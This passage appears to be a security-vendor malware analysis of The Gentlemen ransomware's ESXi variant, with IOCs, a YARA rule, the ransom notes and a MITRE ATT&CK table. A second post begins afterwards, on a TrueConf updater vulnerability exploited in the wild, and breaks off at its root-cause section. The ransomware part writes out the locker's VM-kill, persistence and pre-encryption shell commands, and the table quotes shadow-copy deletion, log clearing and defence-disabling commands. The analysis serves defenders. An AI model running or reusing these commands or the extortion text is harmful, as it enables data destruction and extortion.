Regardless of size, the key derivation process is identical for both paths. The ransomware generates a random 32-byte ephemeral private key. Using X25519 (the Diffie–Hellman primitive over Curve25519), it derives two values: first, the ephemeral public key by multiplying the private key with the curve basepoint, and second, a shared secret by combining the ephemeral private key with the attacker’s public key. The ephemeral public key is not secret and will later be stored in the file, while the shared secret remains only in memory. Key material for encryption is then constructed directly from these values. The ephemeral public key is used as the 32-byte symmetric key, while the first 24 bytes of the shared secret (derived with the attacker’s public key) are used as the nonce.

For small files (less than 1MB) the contents are encrypted using XChaCha20, a stream cipher, which XORs the plaintext with a keystream to produce ciphertext of identical length. The original file is overwritten in place with this ciphertext.

For large files larger than 1 MB, the encryption process changes depending on optional speed mode arguments that control how much of the file is actually encrypted. Instead of processing the entire file, the algorithm only encrypts a small portion of it. In fast mode about 9 percent of the file is encrypted. In superfast mode about 3 percent is encrypted. In ultrafast mode only about 1 percent of the file is affected. The encrypted regions are selected across the file and processed in chunks of about 64 KB. Each chunk is read, encrypted using XChaCha20, and written back to the same position in the file. After encryption, the function appends a footer to the file containing the string --eph--, followed by the base64-encoded ephemeral public key and a newline. This is followed by a marker section --marker--GENTLEMEN\\n and a final GENTLEMEN sentinel. The stored ephemeral public key allows the attacker, who possesses the corresponding private key, to recompute the shared secret and reconstruct the nonce, enabling decryption of the file. If any of the speed-increasing arguments (fast, superfast, or ultrafast) were specified during large file encryption, the selected argument is also appended to the end of the file.

--eph--$BASE64--marker--GENTLEMEN\nGENTLEMEN--fast--\n

The attacker’s decryptor obtains the base64 value from the header (--eph-- field), decodes it to get the ephemeral public key, and uses it directly as the ChaCha20 key. It then recomputes sharedSecret = X25519(attacker_privKey, ephemeralPubKey) using the attacker’s own private key, and uses the first 24 bytes of sharedSecret2 as the ChaCha20 nonce. With the key and nonce recovered, it decrypts the encrypted files.

The Gentlemen ESXi Variant

Latest ELF variant of The Gentlemen ransomware remains undetected by the majority of the Antivirus systems as seems in VirusTotal. The incapability to trigger and execute the malicious code due to the --password requirement possibly affects the detection results, even though for Windows samples this does not appear to be an issue.

Command Line Arguments

The majority of the arguments functionalities are observed as well in the ELF variant of The Gentlemen ransomware.

Usage: %s --password PASS --path DIR [--ignore VMS] [--T MIN] [--fast] [--superfast] [--ultrafast]

Main Flags 
  --password PASS         Access password (required)
  --path DIR              Target directories, comma-separated (required)
                          Example:  --path /vmfs/
                          Example2: --path "/vmfs/,/datastore/,/mnt/storage"
  --ignore VMS            VM display names to ignore, comma-separated (optional)
                          Example:  --ignore DomainController
                          Example2: --ignore "DomainController,Backup Server"
  --T, --timer MIN        Delay before start in minutes (optional)
                          Example:  --T 15
                          Example2: --timer 15

Speed Flags (can't be mixed) 
  --fast                  Lock 9 percent of file (optional)
  --superfast             Lock 3 percent of file (optional)
  --ultrafast             Lock 1 percent of file (optional)

[+]

The ESXi variant exposes fewer functionalities than the Windows variant, as many features present in the Windows version are not required on ESXi systems.

Flag / Argument	Windows	ESXi
--password PASS	Access password (required)	Access password (required)
--path DIRS / DIR	Comma-separated list of target directories/disks (optional). Example: --path "C:\\,D:\\,\\\\nas\\share"	Target directories, comma-separated (required).
Example: --path "/vmfs/,/datastore/,/mnt/storage"
--T MIN	Delay before start, in minutes (optional)	Delay before start in minutes (optional)
--timer $MIN	Not present	Alias for delay before start in minutes (optional)
--system	Run as SYSTEM; encrypt only local drives	Not present
--shares	Encrypt only mapped network drives and UNC shares in session context	Not present
--full	Two-phase: --system + --shares (“Best practice”)	Not present
--spread $CREDS	Lateral movement: "domain/user:pass" or "" for current session	Not present
--gpo	Deploy via Group Policy to all domain computers (run on DC)	Not present
--silent	Silent mode: do not rename/retime files; no wallpaper change	Not present
--keep	Do not self-delete after encryption	Not present
--wipe	Wipe free space after encryption	Not present
--ignore VMS	Not present	VM display names to ignore, comma-separated.
Example: --ignore "DomainController,Backup Server"
--fast	9 percent crypt. (optional)	Lock 9 percent of file (optional)
--superfast	3 percent crypt. (optional)	Lock 3 percent of file (optional)
--ultrafast	1 percent crypt. (optional)	Lock 1 percent of file (optional)

The minimum required command‑line for Linux Gentlemen ransomware execution is:

$process_name --password $pass --path $path(s)

VM & Processes Termination

Ransomware operators shut down virtual machines on an ESXi host to make their attack more effective and efficient. By powering off the VMs, they release locks on virtual disk files, allowing those files to be encrypted more reliably and with less risk of interference or corruption. This also disables any security tools running inside the guest systems, reducing the chance of detection or response.

The locker performs a controlled shutdown of all virtual machines on a VMware ESXi host. It first lists all registered VMs and iterates through them to issue a graceful power-off command (optionally skipping specified VMs). After a short wait to allow clean shutdowns, it checks for any remaining running VM processes using esxcli. If any VMs are still active, it forcefully terminates them by killing their associated world processes. In effect, it ensures that all VMs are stopped, using escalation from graceful shutdown to hard kill only when necessary.

# Enumerate all registered VMs (popen, output parsed line by line)
vim-cmd vmsvc/getallvms | tail -n +2

# Power off each VM gracefully (one system() call per VM, skipping --ignore list)
vim-cmd vmsvc/power.off <vmid> > /dev/null 2>&1

# After 8-second sleep: enumerate still-running VM processes (popen)
esxcli --formatter=csv vm process list | tail -n +2

# Force-kill any remaining VM processes by world-id (one per process)
esxcli vm process kill --type=force --world-id=<world_id> > /dev/null 2>&1

Persistence

The ransomware copies itself to /bin/.vmware-authd mimicking a legitimate VMware daemon.

cp -f '<self>' '/bin/.vmware-authd' 2>/dev/null && chmod +x '/bin/.vmware-authd'

Then creates a script file that ESXi runs at boot.

mkdir -p /etc/rc.local.d 2>/dev/null; \\
echo '#!/bin/sh' > '/etc/rc.local.d/local.sh'; \\
echo 'sleep 30 && /bin/.vmware-authd <original_argv> &' >> '/etc/rc.local.d/local.sh'; \\
chmod +x '/etc/rc.local.d/local.sh'

Adds a second persistence layer via crontab. At every reboot, after a 60-second delay, the ransomware relaunches via the hidden binary with the original arguments.

echo '@reboot sleep 60 && /bin/.vmware-authd <original_argv>' | crontab - 2>/dev/null

Pre-Encryption Preparation

The ransomware modifies a VMware ESXi host to prepare the storage layer for fast, consistent disk writes and then disables automatic VM recovery. It increases the VMFS write buffer capacity and adjusts the flush interval to control how data is committed to disk, then forces synchronous writes across all VMFS datastores by briefly creating and deleting eager-zeroed thick disks. Finally, it clears and disables the VM autostart configuration so virtual machines will not restart automatically after a reboot.

# Maximize VMFS write buffer capacity (speeds up encryption throughput)
esxcfg-advcfg -s 32768 /BufferCache/MaxCapacity > /dev/null 2>&1

# Reduce buffer flush interval (forces faster disk commit)
esxcfg-advcfg -s 20000 /BufferCache/FlushInterval > /dev/null 2>&1

# Create eagerzeroedthick disk on every VMFS-5 datastore (forces buffer flush before encryption — ensures plaintext is written to disk)
for I in $(esxcli storage filesystem list | grep 'VMFS-5' | awk '{print $1}'); do \\
  vmkfstools -c 10M -d eagerzeroedthick $I/eztDisk > /dev/null 2>&1; \\
  vmkfstools -U $I/eztDisk > /dev/null 2>&1; \\
done 2>&1

# Same as above for VMFS-6 datastores
for I in $(esxcli storage filesystem list | grep 'VMFS-6' | awk '{print $1}'); do \\
  vmkfstools -c 10M -d eagerzeroedthick $I/eztDisk > /dev/null 2>&1; \\
  vmkfstools -U $I/eztDisk > /dev/null 2>&1; \\
done 2>&1

# Clear ESXi VM autostart configuration (prevents VMs from restarting)
vim-cmd hostsvc/autostartmanager/clear_autostart > /dev/null 2>&1

# Disable autostart manager entirely
vim-cmd hostsvc/autostartmanager/enable_autostart 0 > /dev/null 2>&1

Directories, Filenames and Extensions Exclusion

The ransomware implements a targeted exclusion list to avoid encrypting critical components of the underlying VMware ESXi / Linux-based operating system, as well as associated virtualization and boot infrastructure.

Directories:

/boot/, /proc/, /sys/, /run/, /dev/, /lib/, /etc/, /bin/, /mbr/, /lib64/, /vmware/lifecycle/, /vdtc/, /healthd/

File types:

vmsd, sf, vmx~, lck, vmx, nvram, v00, v01, v02, v03, v04, v05, v06, v07, v08, v09, b00, b01, b02, b03, b04, b05, b06, b07, b08, b09, t00, t01, t02, t03, t04, t05, t06, t07, t08, t09, locker, unlocker, .go, .exe

Files:

initrd, vmlinuz, basemisc.tgz, README-GENTLEMEN.txt, boot.cfg, bootpart.gz, features.gz, imgdb.tgz, jumpstrt.gz, onetime.tgz, state.tgz, useropts.gz

Conclusion

The activity surrounding The Gentlemen RaaS underscores how quickly a well‑designed affiliate program can evolve from newcomer to a high‑impact ecosystem player. By combining a versatile, multi‑platform locker set with built‑in lateral movement, Group Policy–based mass deployment, and strong defense‑evasion capabilities, the operation enables even moderately skilled affiliates to execute enterprise‑scale intrusions with ransomware detonation as the final stage.

The observed use of SystemBC alongside Cobalt Strike, and the discovery of a botnet with more than 1,570 likely corporate victims, further highlights that The Gentlemen affiliates are not operating in isolation, but are actively integrating into a broader toolchain of mature, post‑exploitation frameworks and proxy infrastructure. Organizations should therefore treat The Gentlemen not as an isolated family, but as part of a wider, modular intrusion ecosystem where initial access, post‑exploitation, and encryption capabilities can be rapidly recombined and reused across campaigns.

Indicators of Compromise

Description	Value
Cobalt Strike C&C	91.107.247[.]163
SystemBC	992c951f4af57ca7cd8396f5ed69c2199fd6fd4ae5e93726da3e198e78bec0a5
SystemBC C&C	45.86.230[.]112
The Gentlemen Windows	025fc0976c548fb5a880c83ea3eb21a5f23c5d53c4e51e862bb893c11adf712a 22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67 2ed9494e9b7b68415b4eb151c922c82c0191294d0aa443dd2cb5133e6bfe3d5d 3ab9575225e00a83a4ac2b534da5a710bdcf6eb72884944c437b5fbe5c5c9235 48d9b2ce4fcd6854a3164ce395d7140014e0b58b77680623f3e4ca22d3a6e7fd 62c2c24937d67fdeb43f2c9690ab10e8bb90713af46945048db9a94a465ffcb8 860a6177b055a2f5aa61470d17ec3c69da24f1cdf0a782237055cba431158923 87d25d0e5880b3b5cd30106853cbfc6ef1ad38966b30d9bd5b99df46098e546c 8c87134c1b45e990e9568f0a3899b0076f94be16d3c40fa824ac1e6c6ee892db 91415e0b9fe4e7cbe43ec0558a7adf89423de30d22b00b985c2e4b97e75076b1 994d6d1edb57f945f4284cc0163ec998861c7496d85f6d45c08657c9727186e3 9f61ff4deb8afced8b1ecdc8787a134c63bde632b18293fbfc94a91749e3e454 a7a19cab7aab606f833fa8225bc94ec9570a6666660b02cc41a63fe39ea8b0ad b67958afc982cafbe1c3f114b444d7f4c91a88a3e7a86f89ab8795ac2110d1e6 c46b5a18ab3fb5fd1c5c8288a41c75bf0170c10b5e829af89370a12c86dd10f8 c7f7b5a6e7d93221344e6368c7ab4abf93e162f7567e1a7bcb8786cb8a183a73 ec368ae0b4369b6ef0da244774995c819c63cffb7fd2132379963b9c1640ccd2 efaf8e7422ffd09c7f03f1a5b4e5c2cc32b05334c18d1ccb9673667f8f43108f f736be55193c77af346dbe905e25f6a1dee3ec1aedca8989ad2088e4f6576b12 fc75ed2159e0c8274076e46a37671cfb8d677af9f586224da1713df89490a958
Embedded binaries (psexesvc.exe/psexec.exe)	cc14df781475ef0f3f2c441d03a622ea67cd86967526f8758ead6f45174db78e 078163d5c16f64caa5a14784323fd51451b8c831c73396b967b4e35e6879937b
gentlemen.bmp	fe1033335a045c696c900d435119d210361966e2fb5cd1ba3382608cfa2c8e68
The Gentlemen Linux	5dc607c8990841139768884b1b43e1403496d5a458788a1937be139594f01dca 788ba200f776a188c248d6c2029f00b5d34be45d4444f7cb89ffe838c39b8b19 1eece1e1ba4b96e6c784729f0608ad2939cfb67bc4236dfababbe1d09268960c

Yara Rule

rule thegentlemen_ransomware
{
    meta:
        author = "@Tera0017/Check Point Research"
        description = "The Gentlemen Ransomware written in GO."
    strings:
        $string1 = "Silent mode (don't rename files)" ascii
        $string2 = "Encrypt only mapped and UNC network shares" ascii
        $string3 = "README-GENTLEMEN.txt" ascii
        $string4 = "gentlemen.bmp" ascii
        $string5 = "gentlemen_system" ascii
        $string6 = "[+] Encryption started. Going background..." ascii
        $string7 = "[+] FULL Encryption started" ascii
    condition:
        uint16(0) == 0x5A4D and 4 of them
}

Ransomware Note – README-GENTLEMEN.txt

Windows Version:

{VICTIM_ID} {VICTIM}= YOUR ID

Gentlemen, your network has been encrypted.

1. Any modification of encrypted files will make recovery impossible. 
2. Only our unique decryption key and software can restore your files. 
   Brute-force, RAM dumps, third-party recovery tools are useless.
   It’s a fundamental mathematical reality. Only we can decrypt your data.
3. Law enforcement, authorities, and “data recovery” companies will NOT help you.
   They will only waste your time, take your money, and block you from recovering your files — your business will be lost.
4. Any attempt to restore systems, or refusal to negotiate, may lead to irreversible wipe of all data and your network.
5. We have exfiltrated all your confidential and business data (including NAS, clouds, etc). 
   If you do not contact us, it will be published on our leak site and distributed to major hack forums and social networks.
   In addition, it will be reported to the relevant data protection authorities and regulators.
   This may result in official investigations, significant fines, and reputational damage for your company.
6. We guarantee 100% file recovery to their original state, bit by bit.
   To demonstrate the quality of our work, you can provide three sample files, and we will restore them free of charge.

TOX CONTACT - RECOVER YOUR FILES
Contact us (add via TOX ID): D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
Download Tox messenger: <https://tox.chat/download.html>
Contact us (add via Session ID): {SESSION_ID}
Download Session  <https://getsession.org>

СONTACT TO PREVENT DATA LEAK (7 DAYS BEFORE YOUR COMPANY DATA WILL BE PUBLISHED IN OUR BLOG, WITH 239 HOURS REVEAL TIMER)
Check our blog: hxxp://tezwsse5czllksjb7cwp65rvnk4oobmzti2znn42i43bjdfd2prqqkad.onion/ 
Download Tor browser: <https://www.torproject.org/download/>
Follow us on X: hxxps://x.com/TheGentlemen25

Any other means of communication are fake and may be set up by third parties. 
Only use the methods listed in this note or on the specified website.
After adding (us) in Tox or Session, please wait for your request to be processed and stay online.
If you do not receive a reply within 36 hours, create another account and contact us again.
In your first message in chat, immediately provide your ID from the note and the name of your organization. 
Assign one person as contact responsible for all negotiations. Do not create multiple chats.

ESXi Version:

{VICTIM_ID} = YOUR ESXI ID

Gentlemen, your ESXI has been encrypted.

1. Any modification of encrypted files will make recovery impossible. 
2. Only our unique decryption key and software can restore your files. 
   Brute-force, RAM dumps, third-party recovery tools are useless.
   It’s a fundamental mathematical reality. Only we can decrypt your data.
3. Law enforcement, authorities, and “data recovery” companies will NOT help you.
   They will only waste your time, take your money, and block you from recovering your files — your business will be lost.
4. Any attempt to restore systems, or refusal to negotiate, may lead to irreversible wipe of all data and your network.
5. We have exfiltrated all your confidential and business data (including NAS, clouds, etc). 
   If you do not contact us, it will be published on our leak site and distributed to major hack forums and social networks.
   In addition, it will be reported to the relevant data protection authorities and regulators.
   This may result in official investigations, significant fines, and reputational damage for your company.
6. We guarantee 100% file recovery to their original state, bit by bit.
   To demonstrate the quality of our work, you can provide two sample files, and we will restore them free of charge.

TOX CONTACT - RECOVER YOUR FILES
Contact us (add via TOX ID): D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
Download Tox messenger: <https://tox.chat/download.html>
Contact us (add via Session ID): {SESSION_ID}
Download Session  <https://getsession.org>

СONTACT TO PREVENT DATA LEAK (7 DAYS BEFORE YOUR COMPANY DATA WILL BE PUBLISHED IN OUR BLOG, WITH 239 HOURS REVEAL TIMER)
Check our blog: hxxp://tezwsse5czllksjb7cwp65rvnk4oobmzti2znn42i43bjdfd2prqqkad.onion/ 
Download Tor browser: <https://www.torproject.org/download/>
Follow us on X: <https://x.com/TheGentlemen25>

Any other means of communication are fake and may be set up by third parties. 
Only use the methods listed in this note or on the specified website.

MITRE ATT&CK Matrix

Tactic	Technique / Sub‑Technique	Description
Initial Access	Valid Accounts (T1078)	Attacker already active on Domain Controller with Domain Admin privileges; --spread "domain\\user:password" uses harvested domain credentials for remote execution and lateral movement.
Initial Access	External Remote Services (T1133) (inferred)	Initial entry not directly observed; context suggests possible compromise via exposed remote services (e.g., RDP/VPN), but campaign evidence starts post‑compromise on DC.
Execution	Command Shell (T1059.003)	Widespread cmd.exe /C usage: systeminfo, whoami, dir c:\\users, type \\\\host\\share\\file.txt, taskkill, gpupdate /force, net, rd, etc.
Execution	PowerShell (T1059.001)	Defender tampering and firewall changes via PowerShell; internal HTTP download of grand.exe to c:\\programdata\\r.exe; extensive script‑based lateral movement using Invoke-Command and multi‑step PowerShell scripts (SCRIPT_A…SCRIPT_G).
Execution	Windows Management Instrumentation (T1047)	wmic /node:<target> process call create "<DEFENDER_SCRIPT_A>" and wmic ... "C:\\Temp\\<exe> <creds>" to execute scripts and lockers on remote hosts.
Execution	Scheduled Task/Job: Scheduled Task (T1053.005)	Creation of local and remote tasks: UpdateSystem, UpdateUser, DefU, DefS, UpdateGU, UpdateGU2, UpdateGS, UpdateGS2 using schtasks /Create /S <target> ... /Run for execution and persistence.
Execution	System Services: Service Execution (T1569.002)	Remote services DefSvc, UpdateSvc, UpdateSvc2 created and started via sc \\\\<target> create ... and sc \\\\<target> start ... to run ransomware or helper scripts.
Execution	Native API (T1106)	Use of SystemParametersInfoW to set gentlemen.bmp as wallpaper; dynamic loading of mpr.dll and calls to WNetOpenEnumW, WNetEnumResourceW, WNetCloseEnum to enumerate network shares.
Execution	User Execution: Malicious File (T1204.002)	Operator‑driven execution of ransomware payloads (r.exe, g.exe, o.exe, GPO‑deployed locker) on endpoints as final stage of intrusion.
Persistence	Scheduled Task/Job: Scheduled Task (T1053.005)	Local persistence via schtasks /Create /SC ONSTART /TN UpdateSystem /TR "<exe> <args>" /RU SYSTEM; remote tasks on many hosts ensure repeated execution and durability of the locker.
Persistence	Registry Run Keys / Startup Folder (T1060)	Run key added: reg add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v GupdateU /t REG_SZ /d "<exe>" /f to autostart ransomware in user context.
Persistence	Create or Modify System Process: Windows Service (T1543.003)	Creation of new services (DefSvc, UpdateSvc, UpdateSvc2) on remote hosts to execute ransomware or helper logic, typically running as SYSTEM.
Persistence	Boot or Logon Autostart Execution: rc.local (T1547.009)	ESXi/Linux variant copies itself to /bin/.vmware-authd and configures /etc/rc.local.d/local.sh with sleep 30 && /bin/.vmware-authd <original_argv> & to auto‑run on boot.
Persistence	Scheduled Task/Job: Cron (T1053.003)	ESXi variant adds cron entry @reboot sleep 60 && /bin/.vmware-authd <original_argv> via crontab -, providing additional boot persistence.
Persistence	Boot or Logon Initialization Scripts (T1037.004)	Combined use of rc.local (/etc/rc.local.d/local.sh) and cron @reboot scripts ensures the locker relaunches after ESXi host reboot.
Persistence	Ingress Tool Transfer (T1105)	--gpo deployment mode copies locker to \\\\<domain>\\NETLOGON\\<exe> and injects ScheduledTasks.xml into GPO path; all domain machines then pull and execute the locker via GPO‑scheduled tasks.
Privilege Escalation	Valid Accounts (T1078)	Stolen Domain Admin and other domain credentials used with PsExec (-u <domain\\user> -p <pass>) and --spread to perform privileged remote execution and lateral movement.
Privilege Escalation	Scheduled Task/Job: Scheduled Task (T1053.005)	Tasks created to run as SYSTEM (/RU SYSTEM) – locally and via GPO – escalate from user to LocalSystem context for file encryption and defense evasion.
Privilege Escalation	Create or Modify System Process: Windows Service (T1543.003)	Attackers create new services configured to run under high‑privilege service accounts (usually SYSTEM) on remote hosts to execute ransomware components.
Defense Evasion	Impair Defenses: Disable or Modify Tools (T1562.001)	Defender disabled and neutered via Set-MpPreference -DisableRealtimeMonitoring $true; exclusions added for C:\\, C:\\Temp, \\\\<host>\\share$, and the ransomware process; these operations are performed locally and remotely via scripts.
Defense Evasion	Impair Defenses: Disable or Modify System Firewall (T1562.004)	Firewall disabled globally: netsh advfirewall set allprofiles state off, Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False; firewall service mpssvc is stopped and set to disabled.
Defense Evasion	Impair Defenses: Disable or Modify Cloud/Network Security (T1562.007)	Attackers enable SMB1 (Enable-WindowsOptionalFeature ... SMB1Protocol), loosen LSA anonymous access (EveryoneIncludesAnonymous=1, RestrictAnonymous=0), and set open network shares using net share + icacls, reducing network/segmentation protections.
Defense Evasion	Indicator Removal on Host: Clear Windows Event Logs (T1070.001)	wevtutil cl System, wevtutil cl Application, wevtutil cl Security executed to remove Windows event logs and hinder forensic reconstruction.
Defense Evasion	Indicator Removal on Host: File Deletion (T1070.004)	Forensic artefacts removed: prefetch (C:\\Windows\\Prefetch\\*.*), Defender logs (C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*.*), RDP logs (%SystemRoot%\\System32\\LogFiles\\RDP*\\*.*), $Recycle.Bin, plus overwriting free space via wipefile.tmp with 64 MB chunks.
Defense Evasion	Indicator Removal on Host: Timestomp (T1070.006) (implied)	Report notes --silent avoids file renaming and timestamp changes; default behavior implied to alter names/timestamps, hampering timeline reconstruction and signature‑based detection.
Defense Evasion	Masquerading: Masquerade Task or Service (T1036.004)	ESXi locker placed at /bin/.vmware-authd, masquerading as legitimate VMware vmware-authd daemon.
Defense Evasion	Masquerading: Match Legitimate Name or Location (T1036.005)	Ransomware components use generic names (r.exe, g.exe, o.exe) and common locations (C:\\ProgramData\\, C:\\Temp\\, admin shares) to blend with normal tools and admin activity.
Defense Evasion	Hide Artifacts: Hidden Window / Binary (T1564.003)	ESXi binary uses a leading dot .vmware-authd to stay hidden; --silent mode on Windows avoids visible UI changes like wallpaper and renaming, running ransomware quietly in the background.
Defense Evasion	Obfuscated/Encrypted Artifacts (T1027)	Per‑file ephemeral X25519 keys and XChaCha20 encryption plus footer markers (`–eph–<base64_ephemeral_pubkey>–marker–GENTLEMEN\nGENTLEMEN[–fast
Credential Access	OS Credential Dumping (T1003)	Mimikatz artefacts recovered from memory show dumping of domain credentials and stored secrets from compromised workstations.
Credential Access	Credentials from Password Stores (T1555)	Mimikatz dumping likely includes passwords from Windows Credential Manager/password stores, used later for --spread and PsExec.
Discovery	System Information Discovery (T1082)	cmd.exe /C systeminfo run on compromised hosts to gather OS and hardware information.
Discovery	Account Discovery (T1033)	cmd.exe /C whoami to confirm identity and context on multiple hosts.
Discovery	Account Discovery: Domain Account (T1087.002)	net group "Domain Admins" /domain and net group "Enterprise Admins" /domain executed to enumerate domain‑level privileged groups.
Discovery	Domain Trust Discovery (T1482)	nltest /domain_trusts, nltest /dclist (implied) to identify domain trust relationships and domain controllers.
Discovery	Remote System Discovery (T1018)	Domain computers enumerated via Get-ADComputer -Filter *; each host pinged to confirm reachability before executing lateral movement steps.
Discovery	Permission Groups Discovery: Domain Groups (T1069.002)	net group "Domain Admins" /domain and similar commands to discover privileged group membership.
Discovery	Network Share Discovery (T1135)	mpr.dll dynamically loaded; WNetOpenEnumW, WNetEnumResourceW, WNetCloseEnum used to enumerate available network shares after enabling network discovery services.
Discovery	File and Directory Discovery (T1083)	cmd.exe /C dir c:\\users; reading internal files (e.g., Chinese language “公司主機紀錄.txt”) on file servers via UNC paths.
Discovery	Software Discovery: Security Software Discovery (T1518.001)	wmic product where Name like '%kaspe%' get Name, IdentifyingNumber executed to identify installed Kaspersky (or similar) security products.
Discovery	Network Service Scanning (T1046) (partly inferred)	While explicit port scans are not shown, large‑scale multi‑protocol lateral attempts via PsExec, WMI, remote services, and scheduled tasks after pinging hosts imply service reachability probing.
Lateral Movement	Remote Services: SMB/Windows Admin Shares (T1021.002)	Payloads dropped to \\\\<hostname>\\ADMIN$\\<random>.exe, \\\\<target>\\C$\\Temp\\<exe>; share share$=C:\\Temp created and ACLs widened via icacls to support anonymous/Everyone access.
Lateral Movement	Remote Services: RPC (T1021.001)	Cobalt Strike and subsequent ransomware payloads executed over RPC from the Domain Controller after being copied to admin shares.
Lateral Movement	Remote Services & Service Execution (T1021.001 + T1569.002)	psexec \\\\<target> -accepteula -d -s/-h ... for remote execution, along with remote sc create/sc start to run services DefSvc, UpdateSvc*.
Lateral Movement	Remote Services: Windows Remote Management (T1021.006)	PowerShell Invoke-Command -ComputerName <target> -ScriptBlock {...} used to disable Defender, set exclusions, and start lockers on remote machines.
Lateral Movement	Windows Management Instrumentation (T1047)	wmic /node:<target> process call create "<DEFENDER_SCRIPT_A>" and wmic /node:<target> process call create "C:\\Temp\\<exe> <creds>" to run scripts and lockers remotely.
Lateral Movement	Scheduled Task/Job: Scheduled Task (T1053.005)	Remote scheduled tasks (DefU, DefS, UpdateGU*, UpdateGS*) created on numerous hosts and executed with /S <target> and /Run.
Lateral Movement	Lateral Tool Transfer (T1570)	Locker copied using xcopy "<exe>" "\\\\<target>\\C$\\Temp\\" /Y /I /C /H /R /K and accessible via \\\\<host>\\share$\\<exe> from remote systems.
Lateral Movement	Remote Services: RDP (T1021.001)	RDP access enabled via reg add ...\\Terminal Server /v fDenyTSConnections /d 0 /f and firewall rule enabling “Remote Desktop” group, supporting interactive lateral movement.
Lateral Movement	Ingress Tool Transfer (T1105)	Internal HTTP server on DC offers grand.exe on port 8080, fetched via PowerShell downloadfile(...) to c:\\programdata\\r.exe.
Command and Control	Proxy: Multi‑hop Proxy (T1090.003)	SystemBC (socks.exe) deployed; attempts outbound C2 to 45.86.230[.]112; acts as encrypted SOCKS proxy for C2 tunneling and pivoting.
Command and Control	Ingress Tool Transfer (T1105)	Cobalt Strike payloads and ransomware components transferred via HTTP, SMB (ADMIN$, C$), and NETLOGON share as part of C2 and staging.
Command and Control	Application Layer Protocol: Web Protocols (T1071.001)	Cobalt Strike beacon from rundll32.exe to 91.107.247[.]163 using ports 443 and later 80 (HTTPS/HTTP).
Command and Control	Encrypted Channel: Asymmetric Cryptography (T1573.002)	Cobalt Strike uses encrypted HTTPS; SystemBC uses RC4‑encrypted tunnel over SOCKS; both provide encrypted C2 channels.
Exfiltration	Exfiltration Over C2 Channel (T1041)	Ransom note claims “We have exfiltrated all your confidential and business data (including NAS, clouds, etc.)”; details not shown, but implies data exfiltration via C2/remote access tooling (Cobalt Strike, SystemBC, AnyDesk).
Impact (Extortion)	Data Destruction in Extortion (T1654)	Threats of “irreversible wipe of all data and your network” if victim attempts restoration or refuses to negotiate, coupled with timed leak‑site publication.
Impact (Extortion)	Financial Theft / Extortion (T1657)	Classic double‑extortion: demands payment for decryption and to prevent public leak; uses Tox IDs, Session, Tor blog tezwsse5czllksjb7cwp65rvnk4oobmzti2znn42i43bjdfd2prqqkad.onion, and X account TheGentlemen25.
Impact	Data Encrypted for Impact (T1486)	Multi‑OS lockers encrypt data (Windows/Linux/ESXi); for large files only 1–9% (depending on --fast/--superfast/--ultrafast) is encrypted with XChaCha20; per‑file footer includes --eph--<base64>--marker--GENTLEMEN\\nGENTLEMEN[...]--.
Impact	Inhibit System Recovery (T1490)	Shadow copies removed via vssadmin delete shadows /all /quiet and wmic shadowcopy delete; $Recycle.Bin removed; logs and prefetch deleted; optional --wipe mode overwrites free space with wipefile.tmp.
Impact	Service Stop (T1489)	Services (including firewall mpssvc and likely AV/backup) stopped and disabled via sc stop <service> and sc config <service> start=disabled.
Impact	Defacement: Internal Defacement (T1491.001)	Desktop background changed to embedded gentlemen.bmp written to %TEMP% and applied via SystemParametersInfoW, signaling compromise to victims.

The post DFIR Report – The Gentlemen & SystemBC: A Sneak Peek Behind the Proxy appeared first on Check Point Research.

Key Points

• Check Point Research identified a zero-day vulnerability in the TrueConf client application, tracked as CVE-2026-3502, with a CVSS score of 7.8. The flaw stems from the abuse of TrueConf’s updater validation mechanism, allowing an attacker who controls the on-premises TrueConf server to distribute and execute arbitrary files across all connected endpoints.
• This vulnerability has been exploited in-the-wild as part of a targeted campaign we call “TrueChaos” against government entities in Southeast Asia, where the threat actor abused the TrueConf update mechanism to deploy the Havoc payload to vulnerable machines.
• Based on the observed TTPs, command and control infrastructure and victimology, we assess with moderate confidence that this activity is associated with a Chinese-nexus threat actor.
• Check Point Research responsibly disclosed this vulnerability to TrueConf. Following our notification, the vendor developed a fix, which is included in the TrueConf Windows client starting with version 8.5.3, which was released in March 2026. The current version of the desktop apps is 8.5.2.

Introduction

At the beginning of 2026, Check Point Research observed a series of targeted attacks against government entities in Southeast Asia carried out via a legitimate TrueConf software installed in the targets’ environment. The investigation led to the discovery of a zero-day vulnerability in the TrueConf client, tracked as CVE-2026-3502 with a CVSS score of 7.8. The flaw affects the application’s updater validation mechanism and allows an attacker controlling an on-premises TrueConf server to distribute and execute arbitrary files across connected endpoints.

TrueConf is a video conferencing platform that supports both on-premises and cloud deployments and is used across multiple regions, most prominently in Russia, as well as in East Asia, Europe, and the Americas. Serving more than 100,000 organisations globally, their global customers range from key governments and defense departments and critical infrastructure industries to significant businesses such as banks, power and TV stations. In enterprise environments, its on-premises architecture creates a trusted relationship between the central server and connected clients, especially through the platform’s update mechanism.

Basically, TrueConf acts as an on-premises video conferencing solution that operates entirely within a private local network (LAN) without requiring an internet connection. It is primarily used by government, military, and critical infrastructure sectors to ensure absolute data privacy and communication autonomy in secure or remote environments. In locations with poor or no internet connectivity, or during natural disasters when traditional networks are down, it facilitates essential coordination. By hosting the server on internal hardware, all audio, video, and chat traffic remains strictly contained on-site, with offline activation available for fully air-gapped systems.

In this particular case, that trust was abused to deliver malware due to improper validation in the update process. In the observed in-the-wild activity, operation “TrueChaos”, the threat actor used the trusted update channel of a centrally managed on-premises TrueConf server to distribute malicious updates to multiple connected government agencies in a South Eastern country.

The victimology and regional focus of the campaign suggest an espionage-motivated operation. In combination with the observed TTPs and command-and-control infrastructure, these indicators point with moderate confidence to a Chinese-nexus threat actor.

About TrueConf

TrueConf is a video conferencing platform that supports both on-premises and cloud deployments. Although it is most widely used in Russia, it also has a notable presence across parts of East Asia, Europe, and the Americas. To better understand the potential scope of the vulnerability, we reviewed internet exposed TrueConf servers to assess the platform’s geographic distribution and the possible reach of the attack. This view is necessarily incomplete, as many TrueConf deployments may operate entirely in on-premises environments and remain inaccessible from the public internet.

CVE-2026-3502 Root Cause Analysis

